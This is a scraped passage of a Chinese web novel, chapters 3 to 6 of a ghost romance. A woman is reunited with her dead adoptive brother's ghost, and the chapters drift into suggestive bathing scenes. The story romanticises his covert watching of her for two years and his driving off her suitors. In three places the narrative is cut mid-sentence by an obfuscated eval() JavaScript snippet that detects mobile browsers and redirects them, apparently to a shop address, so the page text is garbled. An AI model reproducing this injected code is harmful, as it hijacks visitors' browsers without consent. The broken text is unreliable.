《死鬼[短篇]》 3. 03 鬼没有呼吸,可是说话却好似有气息。 许思哲在身后抱住她,熟悉到的味道像一层薄纱,轻轻盖在肌肤上,又痒又凉,摩挲着她脆弱的脖颈。 腰肢被结实的手臂环绕,谭月珂的指尖:习惯性地落在许思哲的手臂上。 好熟悉的动作。 谭月珂想起从前在沙发上坐着时总是喜欢拿许思哲当肉垫靠背。 她喜欢将冷气开得十足,冷到在客厅要盖小毛毯的温度才觉得舒服,可是一冷了就要黏糊糊地凑到哥哥身前。 许思哲也习惯把她抱到身前,让她靠着自己坐下。一边帮她盖上毛毯,一边梳着她有些炸毛的长发,又或者是将刚做好的水果捞一块块喂到她口中。 谭月珂不知不觉将整个掌心都贴到了他的手臂上,她感觉不到他身上暖烘烘的气息了。 她吸了吸鼻子,却又好在能感觉到他身上熟悉的令人安心的香味。 她垂下头,傍晚的马尾辫不知何时解开,散落的长发坠落而下,发丝扫过两人的手臂,漾起几分痒意。 味道也是是承载记忆的载体,被哥哥身上气味包裹住的这一刻,仿佛模糊了时间的界限。 谭月珂一时之间甚至不知道今夕是何年。总觉得好像回到小时候,回到要被哥哥抱着才能睡着的时期。 “哥哥……”她嗫嚅着。 许思哲身子一僵,慢悠悠地将埋在她脖颈间的脸扬起,高挺的鼻梁抵在她的肌肤上,“哥哥一直都在。” 感觉到他的动作,谭月珂又渐渐清醒过来。 她的意识一直在告诉她,这就是许思哲,他的样貌他的说话的声音他身上的味道,都和哥哥一样。 哥哥说过要保护她一辈子的,所以哪怕死了,也会变成鬼魂回到她的身边。 可是她又觉得有些地方不对劲…… 谭月珂想了许久,才想起来许思哲从前不会肆意抱她,不会随意地做出亲吻她指尖的动作。 她一直觉得他对她是亲昵,但不是暧昧。 可从自己晕倒醒来后,许思哲说话做事都太过直白,明明很像哥哥,又很不像哥哥。 如果不是她体质特殊,谭月珂是不会相信这世上的鬼神之说,而也正是她体质特殊,她才会觉得自己永远都见不到许思哲了。 毕竟这两年里,她连梦境中都未曾见过许思哲一面,怎会这样轻而易举地见到许思哲。 谭月珂很早就告诉自己,她没有哥哥了。 她回头,挣脱开他的怀抱。 “你不是哥哥。”谭月珂默默后退了两步。 许思哲直起身,静默地看着她,他垂下眼睫,扫过她后退的动作。 他蹙眉,哪怕是亮了灯光,他的眼睛依旧深不见底,漆黑的眼珠嵌在死白的眼球上,他温和地笑着:“小珂,你这是什么意思?” “你怎么证明你是许思哲?” 谭月珂望着那张许久不见的面庞,望着那张想要做梦都能梦见的脸,此刻的心却沉静得如同毫无波澜的死水。 “这世上鬼都有了,万一有坏鬼假扮我哥呢,你很奇怪,你到底是谁?” 许思哲微微弯下腰身,将视线与她的齐平,“小珂,你是觉得我的样子不像从前了吗,我死时的模样有些难看,总不能用死时的模样对着你吧。” 谭月珂靠在墙上,抿唇不语。 许思哲轻叹一声,如数家珍般道:“你后腰上有一颗痣,左臂内侧也有一颗小痣,十八岁那年做过阑尾炎手术腹部有一条小疤痕,右腿腘窝处有一颗痣,左手食指上有一条疤痕,是自己切苹果时不小心切到的,后来你就没切过苹果了……” 他一边说着,一边悄然往谭月珂的方向挪去,将两人的距离拉近。 谭月珂咬着唇,下意识撇了眼左手食指上的疤,她的眼瞳聚着光:“我刚刚晕倒后,不知道怎么被你带来这里,谁知道你是不是趁人之危在我晕倒的时候看过我身上有什么标志了。” “小珂,怎么把我想得这么坏?”许思哲的语气好像带上了几分落寞,谭月珂睁开眼对他说的第一句话就是“哥哥”。 就像他第一次见到她时,她对他说的第一句话也是“哥哥”。 那时她还没上小学,靠在妈妈的身侧,懵懵地看着他,抬头用自以为是的气音问道:“妈妈他是谁?” 得到妈妈的答复后,扯着妈妈的衣摆,对着当时的他语调平平,没什么感情地喊了一声:“哥哥。” 实际上谭月珂已经在脑子里想好第二天可以和好朋友炫耀自己有哥哥了。 可现在她却不认得他了。 “小珂,是哥哥的错,哥哥没能给你托梦,两年了才让你知道我没有彻底在这世上消失,你不认我是应该的。” “小珂是觉得我现在的性格与从前不同?”许思哲实在是太了解她,也太了解自己看,他很快知道小珂到底在怀疑什么。 他低眉,黑色的长睫挡住幽深的双眼。 “死了之后三魂六魄不全了,小珂,这个你应该是知道的。” 谭月珂怔愣半晌,才想起来,人死后三魂六魄不全,鬼魂说话做事的风格并不会与生前完全一致。 具体表现为鬼魂可以不用考虑那么多绕绕弯弯的事,可以更直白的说话做事,可以永远遵从本心。 都是死过一次的人了,没有任何值得顾虑的事情。 所以见她醒来,许思哲的第一反应是继续抱着她。 谭月珂扣着手指,她实在是太想许思哲了,可是直到现在,她都不知道自己是不是被困在梦境中,还是被困在幻境中,她真的不知道自己现在要做什么。 “小珂,别怕我。” 许思哲轻轻地握住她的手腕,感觉她似乎被凉得轻颤了颤,“别怕我。” “我还知道你喜欢粉紫色,喜欢吃煎牛扒,喜欢喝排骨汤但不喜欢吃排骨,最喜欢的娃娃是一个云朵形状的娃娃……小珂只属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971165|193438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于我们之间的约定和秘密太多了,小珂想要考验我也可以尽管问我,只要让你确切知道我就是哥哥,让我做什么都可以。” 他握着她的手,将她的指尖覆在自己的脸上,“你摸摸,是不是哥哥生前的模样。” 谭月珂不知不觉地用指尖抚过他的脸颊,刚刚还没开灯的时候,总觉得许思哲是阴森森的白。 可现在在灯下瞧着,却不是她想象中的惨白,只是比生前人模样的许思哲要白一些。 她指尖最后落在他额角的的痣上。 “哥哥……” “嗯,小珂应该还记得我左侧胸口有个浅红色的胎记。” “嗯?” 谭月珂确实记得,只是还没等她反应过来,许思哲已经抬起手解开上衣的纽扣,上衣敞开,浅红色的胎记在健硕的胸肌上,被衣物遮得若隐若现。 谭月珂抿着唇,不知为何有些口干舌燥。她明明见过许思哲这胎记,也不是没见过他裸着的上半身,但是脑子里还是下意识感叹了一句她哥身材真好。 她下意识将手贴在他的胸前,“你真的是哥哥,可是为什么……” “为什么?”许思哲又贴近了些,重新将她笼罩在怀中。 “你的胸好像变大了。”她眼睫眨得飞快,手还十分实在地掐了一下。 许思哲抿着唇,险些被闷哼出声,“是吗?” 谭月珂的眼睛亮了亮,她从前发现许思哲开始健身之后,就总是好奇心旺盛地在他训练痕迹明显又好看的肌肉上摸一摸戳一戳,许思哲向来纵容她,她想怎么玩都陪她玩。 也是因为他从小到大过度纵容,才养成了谭月珂对他毫无边界的依赖和习惯。 哪怕她现在思绪乱如麻,这种刻入骨子中的亲近也一时难改。 “小珂……”他轻轻走近,索性将她抱到怀里。 谭月珂的手依旧屈着抵在他的胸膛上,掌心敏锐地感觉到熟悉的肌肉轮廓,是哥哥的声音,是哥哥的气味,是哥哥的样貌…… 就连他的胸口,因为她好奇调皮地一掐紧绷起来的反应,也与记忆中如出一辙。 是哥哥,真的是他,不是她幻想的虚幻,不是恶鬼扮演的哥哥。 恐惧、疑惑以及今晚一切诡谲的经历,都被她暂时抛之脑后。 谭月珂倒在他温凉的怀里,双手揪着他的衣襟。 可是分明是应该觉得惊喜与高兴的时刻,她却觉得很委屈,自从许思哲过世,谭月珂太久没有彻底地外显自己的情绪。 她无法再克制自己的情绪,眼泪如决堤一般涌出,身子渐渐轻轻颤栗。 “小珂……” 许思哲感受到她的变化,收紧手臂的力量,“小珂,别哭,哥哥不是在吗,别哭。” 谭月珂咬了咬牙,摁着他的手臂,冷不丁地往他胸前咬去。 许思哲闷哼一声,胸前传来湿热的刺痛感,掌心贴在她的身后,“小,小珂……慢些。” 4.04 谭月珂只觉得有些晕头转向,掌心抵在他依旧略带凉意的身上,她泄恨般地咬在他的胸口上。 仲夏天气炎热,他身上的温凉与气味,都让谭月珂本能地贴近、贴近再靠近一些。 她感觉到许思哲的掌心抵在她的后脑,轻柔得像是在抚摸她。 “小珂,别急。” 谭月珂从小有个不太好的习惯,发脾气生闷气不开心时会忍不住咬自己的手。许思哲怕她弄伤自己,便总是打断她,让她咬他的手臂。 再长大些,谭月珂的自制力能压抑住冲动,把生气咬东西的习惯改成咬松软的大面包,吃着吃着就不生气了。 而此刻,她这埋藏在心底的本性又爆发出来。 谭月珂在想,为什么哥哥明明可以让她看见她,这两年里却不给她一点消息。 现在好不容易终于知道哥哥还存在在这世上,他现在却有事瞒着她。 谭月珂越是这样想,牙关便咬得更紧了些,她明显地感觉到许思哲抚在她身后的手僵硬了一瞬。 “小珂……” 许思哲的嘴里明明在轻声说着让她慢些轻点这样的话,掌心的力道却若有似无地将她推到他的身前。 疼痛感刺激他微微仰起头,小珂的体温、体香还有她唇瓣的触感将他淹没在快.感的浪潮中。 许思哲幻想过无数次,幻想小珂见到他的魂体后,能触碰他能拥抱他…… 许思哲依旧在轻声安抚着谭月珂,低声叫她慢些。但他并不是怕啃咬的疼痛感,而是怕她急了一时忘记呼吸闷到自己难受。 情绪激动带来模糊的眩晕感,谭月珂索性整个人都倒在许思哲的怀里,被他抱回床上。 可她全然没有发觉,许思哲身上泛着诡异的黑雾,是连她都看不到的黑雾。 谭月珂面前的确确实实是许思哲,是陪她长大相依为命的哥哥。 但她不知道,许思哲不是普通的鬼魂,他是怨鬼,是恶鬼。 他做鬼也放不下谭月珂。 许思哲从小就知道,自己的宿命是为了保护妹妹。 小珂八字特殊容易被冲撞,自小身体又不好,需要找个能合得上她八字的人一起生活才能平安顺遂长大。 她的母亲谭家与父亲许家都世代接触白事生意,家中懂些门道,在偏远地区的福利院找到了许思哲,将他接回家中。 许思哲至今都记得十八年前见到小珂的第一面时,妹妹瘦瘦小小脸色苍白,那时她刚做了一次大手术走过鬼门关。 自从那次手术之后,谭月珂忘记了很多小时候的事情,虽然依旧能感觉到某些不正常的磁场,但她的眼睛终于看不到鬼魂,也不会轻易冲撞到不干净的东西。 因为手术的成功,身体病症也得以暂时缓解。 她的性格也渐渐开朗许多,不会因为身体不好只能静悄悄地窝在房间里,会经常和他一起出门玩。 从见到她的那一刻,许思哲就知道自己对她的利用价值。 许思哲从懂事起就知道自己只是因为有利可图,才被收养,才成为谭月珂的哥哥。所以他知道,他要照顾好妹妹,要爱妹妹。 因为有妹妹,他才有现在的生活。 爸爸妈妈爱妹妹,妹妹爱他,所以爸爸妈妈才爱屋及乌也分给他从前从未敢奢想的亲情。 可惜父母在谭月珂十一岁时候因意外双双身亡,家中只剩下两个孩子相依为命。 好在许思哲从小就懂得要怎么照顾谭月珂,哪怕他自己也还是个孩子。 许思哲会在谭月珂午夜梦见父母哭醒时抱着安慰她,在放学前吩咐保姆阿姨今晚做什么晚饭,会在放学后在门口等她帮她拿书包…… 许思哲从小就陪在她身边,除了上课不在一起,时时刻刻都会陪着谭月珂。哪怕自己因为年长三岁先毕业工作,也选择依旧留在南城工作,在大学附近买了一套公寓和谭月珂一起住。 他是小珂唯一亲近的依赖,可小珂是他赖以活下去的根本。 他每年的生日愿望是希望小珂生活顺遂健健康康,自己能继续陪着小珂。 无论是许思哲还是谭月珂,都以为生活会这样平淡幸福地度过。许思哲却在科研所外派出差回家的路上遇到意外身亡。 人不会都是老死的,有可能一场意外就消失了。 这是谭月珂从小就知道的道理。 许思哲离世的地点距离家还有一段距离,她甚至来不及见到他最后一面。 谭月珂小时候经历双亲离世时,还能抱着哥哥一起哭,见到哥哥离世,她却只能用指尖掐着虎口忍住眼泪。 许思哲死后化作一缕亡魂,没有去到冥界,而是跟在谭月珂身边。 他看着小珂被迫独当一面。看她为自己处理完后事,然后收拾好情绪准备期末周;看她晚上醒来抱着最喜欢的娃娃发呆;看着她半夜醒来因为偌大的家中只有自己一个人难免害怕,只能将被子盖过自己的头将自己一整具身体裹起…… 许思哲的存在明明是为她带来幸福安康,而不是这种一望无际无法言喻的痛苦。 许思哲恨自己,怨自己。 怨到自己到死了也不肯放过自己,恨到自己明明是命运终止阳寿已尽本该化作这世上最普通的亡魂,却变成怨气缠身的恶鬼。 除了他,这世上没有人会因为怨恨自己变成怨鬼。 因为化作了怨鬼,许思哲才能滞留在人间,可是谭月珂见不到他,他也无法向她托梦。 许思哲想,只要自己的灵魂还能一直陪在谭月珂身边,那也足够了。 他看着小珂渐渐从他离世的悲痛中走出来,看着她认识了越来越多的朋友,看她和好友挽着手臂出门逛街旅游,看她时常算好日子为他和父母烧纸钱,看她变得越来越独立,看着她彻底不需要哥哥也能安好地存活于世。 许思哲明明该高兴的,可他的内心却产生出一种无法言表的复杂情绪。 他意识到,小珂没有他本来也能好好生活。她身体的病症已经得到控制,她也成功长大成人,所以她也不需要什么所谓的命格匹配之人陪在她身边。 一直以来,离不开对方的只有许思哲。 渐渐地,谭月珂身边甚至开始出现对她有好感的异性。 巨大的不安感袭来,许思哲迫切地想要让谭月珂知道他的存在,可他又害怕吓到谭月珂。 许思哲只好先想法子把那些男的都整走,毕竟那些男的根本配不上他的小珂…… 许思哲有足够的能力逼退那些根本感觉不到鬼怪的普通人,可是无论如何,他都无法让体质特殊的谭月珂感应到他的存在。 他在人世间待了太久,久到都不知道如果小珂彻底忘了他之后,他还能去哪里。 许思哲的怨气就像一层黑雾,彻底将他的灵体笼罩住,连渡魂人都无法将他带走。 他为了能一直留在谭月珂身边与冥界做了交换,可冥界依旧没法让谭月珂知道他的存在。 许思哲的灵魂与命格护佑着谭月珂不会让任何有怨气的鬼接近伤害她,甚至包括他自己。 为了不会让自己伤害到谭月珂,他无法向她托梦,也无法让她感知到自己的存在。 直到她来到这间纸扎铺…… …… 谭月珂的指尖不知不觉间也在许思哲的身上留下了印记,她隐隐约约感觉唇舌舔舐到像血又不是血的气味,她才猛然惊醒,松开唇齿。 胸口因为过呼吸上下起伏,谭月珂怔愣地看着许思哲身上被她留下的杂乱痕迹。 胸口上的胎记与咬痕融为一体,在他白皙异常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979631|193438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肌肤上分外明显,情绪释放过后身体袭来一阵虚脱感,谭月珂沾染过泪水的指尖触到许思哲胸口的胎记上。 她抿了抿唇,声音带着浓重的鼻音:“疼吗?” 许思哲垂下眼睫,看着她有些呆愣的模样,唇瓣湿润泛红,也许还沾染着他身上的一点气息。他早就没有心跳了,可此时却觉得胸口处传来一阵钝钝的痛感。 “不疼。”他笑道,“小珂给的,怎么会疼?” 许思哲轻轻擦拭着她脸上余下的泪水,又折了新的纸巾想帮她擤鼻子。 谭月珂才恍惚地从他怀里挣扎出来,说话的腔调还带了点鼻音:“我自己来……” 许思哲起身拿来了热毛巾,又帮她擦拭了整张脸。 谭月珂渐渐缓了过来,眨着有些红润的双眼目不转睛地盯着许思哲。 他抬手捋了捋她的碎发,“怎么了小珂,是不是有很多想问的我的问题?” 谭月珂又眨眨眼,用力地点了点头。 她抬起手捋起许思哲额前的头发,“哥,你头发变长了,鬼可以剪头发吗?” 许思哲显然没想到谭月珂这般认真的表情,问出这样的问题,他点头,“可以。” 她又低头瞄了一眼他锁骨以下的部位,“哥哥,死了之后还会长身体吗,我真的感觉你的胸肌变大了。” 谭月珂说着,又伸手在空中比划比划,被眼泪洗涤过的双瞳亮晶晶的。 “我死的时候也有二十几岁,是人的时候都不长身体了,做鬼了怎么可能还能长?” “哦……”她慢悠悠地应了一声。 话音落下,周遭安静得出奇,白事一条街晚上车流很少,但依旧偶尔会有车辆驶过,可现在一点声音都没有,异常的平静往往代表危险,谭月珂才想起来自己今晚遇到太多怪事了。 谭月珂揪着许思哲的衣角,“哥哥,你告诉我,我现在到底在哪里好不好,我为什么会在这里,为什么出不去了,你肯定知道的是不是?” 她望着亮堂堂的二楼四周,没有门没有窗,谭月珂才意识到自己被困在一个出不去的地方。 “今天是鬼节,是因为这个吗?” 许思哲蹙眉,摇了摇头又点点头,“我猜想也是。我是因为你在楼梯晕倒了,才把你抱回房间,醒来后你突然能见到我。但到底发生什么事,我暂时也不知道。” “小珂,别怕,哥哥在这里陪着你。我已经死过一次,不会再害怕任何事。” “那是不是过了鬼节,可能就好了?”谭月珂问道。 他将她搂到怀里,揉了揉她的肩。 “也许……” 谭月珂噤声,今晚遇到的怪事肯定是有原因的,但是她确实又一时半会找不到缘由。 许思哲的怀里实在是太有安全感了,安全到她甚至不再去想这些怪事,至少自己还好生生活着没受到半点伤害。 只要没遭罪,她也感觉无所谓,自己从小到大遇到的怪事多了去了,现在至少哥哥还在自己身边,那她就什么都不怕。 她的语气变得好奇起来:“哥哥,人死了之后会去哪里?是都变成鬼魂一直在地府生活,还是会等时间排队投胎啊。” 许思哲一怔,摇摇头。 “抱歉小珂,这个我不是很清楚。” “为什么?”谭月珂纳闷。 “因为我从死去之后,就一直跟在你身后,我对人死后的规则并不清楚,只知道死了之后确实有魂体。” “哥哥,你这两年是一直都在我身边吗?” “嗯,我一直在你身边,以后也会一直陪着你的,只要你别抛弃哥哥,别抛弃哥哥……” 许思哲微微弯下腰身,将脸埋在她的肩上,垂下的眼睫挡住漆黑的双瞳,也掩住他眼底那无法克制的笑意。 5.05 “哥哥,有,有点痒。”谭月珂笑得浑身发颤,一边笑一边将许思哲推开。 许思哲倒也不恼,慢悠悠地将埋在她肩颈的脸抬起,但是依旧将她抱在自己的怀里,紧接着顺势将下巴搁在她的肩上。 “小珂,让我再抱抱你好吗?”他说着又微微侧过头,唇瓣将将地靠在她的耳边,“当哥哥求求你。” 八月仲夏,正是炎热时节,谭月珂今天为了出门方便穿了一身休闲装,上身是宽松的T恤,不知不觉间肩头露出个大半,肌肤相贴,她清晰地感觉到许思哲身上的温凉。 “哦……嗯,想抱抱就抱抱,我又没说不可以嘛。”谭月珂慢吞吞地说着。 与她想象中的鬼魂不一样,哥哥的身上虽然是凉的,但不是那种刺入骨髓的寒意。 而是像夏天空调房里的凉,像山间泉水的沁凉,初初触碰时因为不习惯,会觉得有些奇怪,现在被他抱久了,反倒是有种难以言喻的舒适感。 从小到大,她就喜欢窝在哥哥的怀里,只不过他从前的怀抱是温暖的舒适的馨香的,舒适到她哪怕是坐在他怀里也能安逸地睡着。 谭月珂还有很多想问许思哲的问题。 比如人死的时候知道自己要死了吗,死了之后会去到哪里,死了之后的鬼魂世界是怎么样的…… 可是这些问题许思哲都没办法告诉她。 一来是他与一般的鬼魂不同,确实不知道很多事情。 二来,他是死去的鬼魂,哪怕他再特殊也要遵守他所在维度世界的规则,不能告诉作为人类的她那么多她不该知道的事。 谭月珂也没有打破砂锅问到底的架势。 只是精神与情绪一瞬间放松下来,她感觉浑身都没劲,趁着许思哲重新穿好衣服的间隙,她顺势躺在床上。 “好饿啊。” 她摊在床上一边说着,一边用手摸了摸肚子,等喊出口后,才后知后觉地意识到自己根本不饿,甚至不知道是饿还是饱。 谭月珂有些狐疑地蹙起眉,她喊饿是因为现在是她平时的饭点,到了时间她就会下意识地喊饿。 就像放学回到家后其实因为在学校吃了很多零食一点也不饿,但总喜欢跳到许思哲身上,一边晃着腿一边喊饿,要哥哥给她洗水果,要哥哥给她做饭吃。 “饿?” 许思哲将床上的空调被盖在她的腹上,“小珂,你是说你饿吗?” “好吧我现在又感觉好像不饿,可能是我已经饿过劲了。” 她看了一眼许思哲,总觉得他这句话的语气有些奇怪,按照他的性格和习惯,第一反应应该是想给她做什么菜。 “欸,哥哥你说鬼魂要吃东西吗,还是像传闻说的那样闻闻味道就行了?” “嗯,差不多吧,鬼魂其实不会有人类的那种食欲。比起人类为了生存需要补充能量而吃东西,鬼魂对于食物的需求更像是馋,馋了才会吃东西,而且也不是吃,闻味道便够了。” 许思哲耐心地和她解释,一边说着一边将她从床上捞起身。 “小珂,我们先去洗澡好吗,要是饿的话只能暂时靠冰箱里的余粮顶肚子,等中元节这两天过去就好了。” 谭月珂现在根本不在意自己到底为什么和许思哲困在这里,也不在意自己饿不饿,她第一反应是问许思哲:“鬼也要洗澡的吗?” 许思哲笑了笑:“我不洗澡的话,你会让我陪你一起睡吗?” 谭月珂猛地摇头:“不行不行,上床必须要洗澡!” 她话音刚落突然哀嚎了一声。 “我今天还没洗澡就上床上躺着了,今天那么热我肯定出过汗了!我刚刚晕倒的时候为什么把我抱到床上,抱到沙发上也行啊,好难受啊,我不想要这个床单了。” 谭月珂一边说着,一边从床上跳下来。 她也不算有洁癖,可是八月这样的大夏天,她今天不仅出门了,还被鬼打墙吓到好几次浑身出过汗,这让她难以忍受。 “没事没事,小珂,我来重新换床单,我们等会去洗澡就好。” 许思哲见她这副炸毛的模样,轻车熟路地走到大衣柜边,从最顶层拿出一套新的干净的四件套。 …… 等许思哲重新铺床铺时,谭月珂已经进到浴室沐浴。 温暖的水雾将整个浴室填满,水汽将她的大脑都浸润得清醒了几分。 谭月珂望着浴室的镜子,忽然想到了顾律师,她现在在二楼,顾律师难道也被困在三楼? 或者他其实根本不会被困,只是被自己牵连到鬼打墙中…… 整栋楼一共三层,她住的二楼一整层的格局类似一个大平层。楼梯上到二楼穿过一个小长廊,有一个门,门内就是二楼属于她的生活居住区域。 谭月珂开始回想起这半个月发生的事,也可谓是离奇。 其实在收到信托函的时候,她的第一反应不是这自己要发财了,而是遇到诈骗犯了。 哪怕是顾律师亲自来到学校找她,她心里在想的甚至是现在的诈骗犯竟那么大胆,敢来到学校找她。 顾律师也不厌其烦地向她证明了事情的真实性,她才慢慢取消了心中的疑虑,毕竟他来自南城首屈一指的律所,也是顶尖的遗产律师。 舅婆是她外婆的弟媳,舅公英年早逝,舅婆与外婆虽没有血缘关系,却亲如姐妹。 因为舅婆没有孩子,自然也没有孙辈,从小舅婆就把她当做自己的孙女。就连许思哲也是她托人找关系千挑万选才挑到的。 加上她八字合适,怎么看她也确实是最适合继承舅婆这笔遗产的人。 舅婆在白事一条街的这家店也是一间老店,教谭月珂纸扎手艺的师傅也是网上都能直接查到的老师傅,她暑假来到这之后并没有遇到任何奇怪的事,毕竟她行得正坐得端,就算这世上真有鬼,也没有理由缠着她整蛊她。 这半个月发生的事看起来又格外正常。 一切的异常都只发生在四个小时之前。 浴缸的热水淹没她的大半具身体,热气彻底将她裹挟。 谭月珂阖上双眼静默地冲洗身体,脑子里将最近的事都串起来,记忆深处里还有还有舅婆抱着她说话时的声音。 舅婆……是因为舅婆她才来到这里的,知道她八字的除了血亲,便只有舅婆。 她咽了咽唾沫,嗓子突然干涩得发疼,谭月珂脑子里猛然想到一个从不敢想象的可能性,难不成是舅婆故意将她引来此处,让她困在这里。 如果是的话,舅婆是想要害她,还是想要为她好? 谭月珂想起,舅婆去世已有大半年,年初她和母亲家中还在世的一个长辈,一个远房的阿姨处理完舅婆的后事时,并没有听说任何有关遗产的分配事宜。 既然有安排信托,那说明舅婆在世时便已经做好准备了,为什么直到临近农历七月才找到她,偏偏赶上了中元节。 那哥哥呢? 哪怕许思哲离开她已经两年了,但这是和她相处了接近二十年的亲人,他对她了如指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那都是多小时候的事情了。” 许思哲没有立马接话,只是含着笑静默地看着她,热水将她的脸颊润得有些红润。 过了好几秒,他才道:“小珂,这两年我一直都在你身边,从未离开过。” “嗯?” “你从小到大就喜欢泡澡,还容易泡着泡着睡着了,很危险的,你说我能不担心你吗?” 谭月珂眉目舒展,顿时明白他话里的意思,这两年他一直在自己身边,她做任何事,他都能看见,吃饭睡觉甚至洗澡…… 大概因为做这些事的对象是许思哲,她没有那种被窥探的恐惧感。 她的心底反倒是溢出一股很诡异的兴奋感,像水雾攀升到天花板那样,窜到眉心。 她的哥哥一直在她身边,在她不知道的黑夜与角落里保护她,他永远都是只属于她的,哪怕死了也是。 谭月珂从小就这样想,哥哥本来就是因为她才来到他们家,哥哥永远只能是她的哥哥。 她回头看了眼许思哲。 刚刚因为自己用手推了他,他身上的衣物被打湿,粘黏在肌肤上的衣物失去了衣物遮挡的作用,将他白皙的肤色若隐若现透出。 谭月珂抿了抿唇,她突然感觉自己的身体有些不对劲。 先前一直以为自己被吓到了才暂时忘记了饥饿,但直到现在,她还没有食欲,腹部也没有因为还未来得及吃晚饭的饥饿感瘪下去。 而食欲像是转变成了另外一种欲望。 谭月珂将手伸出浴缸,湿漉漉的掌心穿过衣领贴在鼓囊囊的胸上,热与凉意相触的一瞬间,她的指尖颤了颤。 “哥哥,不是说一起洗吗,那你怎么还不脱衣服?” 6.06 此时的浴室水雾弥漫。 谭月珂眨眨眼,眼前的一切像是蒙上了一层模糊的滤镜。 但透过这层层水雾,她却能清晰地看见许思哲那漆黑的双眼。 许思哲没有立刻做出反应,静默地蹲坐在她身侧。 谭月珂一边扯出笑,一边把手伸向他身体里,感受他身体肌肉的走势。 指尖上的温水很快就变得凉了,几乎和许思哲身上的温度差不多。 谭月珂此刻才发现,许思哲没有人类正常的体温,他的体温更接近于室温。 所以靠近的时候,虽然有些凉飕飕的,没有从前那种熟悉的温暖,却不会凉得让她觉得很难受。 她下意识地想像从前那样感受他胸口跳动的触感,直到自己摸了好几下得到的只有静默的回应,她才想起来,哥哥死了,没有呼吸,也没有心跳。 见她的动作愈发大胆,许思哲终于伸手按住了谭月珂的手。 “小珂……” “哥哥我好奇,我就要摸摸。” 谭月珂笑得眉眼弯弯,手上的动作丝毫没有因为许思哲的阻止而停滞下来。 她在好奇什么,她又不是没摸过,谭月珂想她或许是好奇没有心跳的胸口摸起来是如何的? 许思哲还在读高中的时候,就已经有隐隐约约的肌肉线条了。 发育期过了之后,他好像就开始健身,许思哲天生体脂率就比较低,哪怕不健身也是盘条顺的身材。一旦练起来,肌肉很容易就凸显出来。 渐渐地,谭月珂也慢慢发现了哥哥身体的变化。 她会开始好奇,好奇练出的这些肌肉摸起来是什么感觉。 她从小就是这样的性格,对什么都好奇,脑子里偶尔有些稀奇古怪的想法。 因为她小时候身体不好的那段时间很少出门,总是一直闷在家里。 手术成功康复之后,她便开始对这个世界的一切充满好奇心。 小谭月珂纳闷过,为什么自己有那么多漂亮的裙子,也有休闲轻便或者很酷的裤子,但哥哥只能穿裤子,而不能穿裙子。 她觉得这样对哥哥不好不公平,就求着爸爸妈妈给哥哥也买裙子穿。 谭月珂好不容易活下来,变成现在这样快乐的模样,爸爸妈妈从小自然是把她捧在手心里怕摔了,含在嘴里怕化了。 哪怕是提出这样的要求,他们也不会觉得她任性不懂事,但让许思哲穿裙子,总归是要他本人同意的。 和爸爸妈妈一样,许思哲从小到大对谭月珂也是万分纵容。 他清晰地知道,自己是依赖妹妹才能生存下来的。 所以妹妹不仅是妹妹,更像是他的主人。更何况妹妹是心疼他,想让他穿裙子,这又不是什么坏事,于是他们就这样有些荒诞地答应了她的要求。 看着哥哥穿上裙子的样子,谭月珂高兴地牵着他的手原地转圈圈。 人类看见美丽的东西时,心情总是难免愉悦的。 比如现在的她,又觉得身心愉悦。 “哥哥。” 她慢悠悠地喊了一声,明明没有半点撒娇的意味,但许思哲完全无法抵抗与拒绝她。 她当然也知道,她的哥哥喜欢玩欲拒还迎这套,总是要吊足她的胃口才让她饱餐一顿。 谭月珂觉得这样一点也不好,有什么好事,为何不当下就享受了。 好奇怪呀,明明哥哥不会呼吸了,但她总觉得他好像有了急促的气息。指尖无意地拂过那点,让他浑身不自发颤。 谭月珂将身子往前靠了靠,看见许思哲洇湿的衣服将他肤色渐渐透出。 “小珂,你别,别这样,先;等哥哥准备好。”许思哲大概是没想到小珂会这样直白。 谭月珂从前也是直白的。 但比起言语的直白,她更多的是肢体的直白,坐在沙发上坐累了,二话不说把腿搭在他的身上,看恐怖片觉得吓人就会直接缩到他的怀里,看见他在家里的健身房健身,跑来一声不响地摸一摸然后就跑开。 有些像奶牛猫,完全想不到她下一步想做什么。 “等什么?”谭月珂吸了吸鼻子,“哥哥,水要凉了。” 她和许思哲从前当然没有共浴过,但现在他们的关系和从前不一样了。好不容易知道许思哲还存在,她又怎么可能放过他。 哥哥说过,要永远陪着她,所以现在哪怕是死了,也要陪着她。那陪她做什么事也是理所应当的,包括一切亲昵的事。 谭月珂的指尖摁在他的胸上,稍稍用了些许力道,印下一个模糊的月牙型指甲印。 随后才将手从他衣服底下伸出,掌心拨了拨浴缸里的水。 她其实很懂得哥哥担心什么,就仅仅因为她觉得水凉了,许思哲便完全退让了,“小珂,我先帮你换热水。” 谭月珂眨眨眼,静默地看着许思哲站起身,为她换了水。 她撑着脑袋,无声地笑了笑,心想难道哥哥忘记这个是恒温浴缸了。 许思哲的动作很快,紧接着他上身的衣物被谭月珂扯开脱下。 谭月珂抱住他,下意识嘶了一声,“啊,哥哥你身上怎么还是有点凉。” “小珂,别……先泡在热水里,别冷到了。” 许思哲感觉到她身上的温度,还有熟悉的温软,他抿着唇,将她抱起小心翼翼浸没在水中。 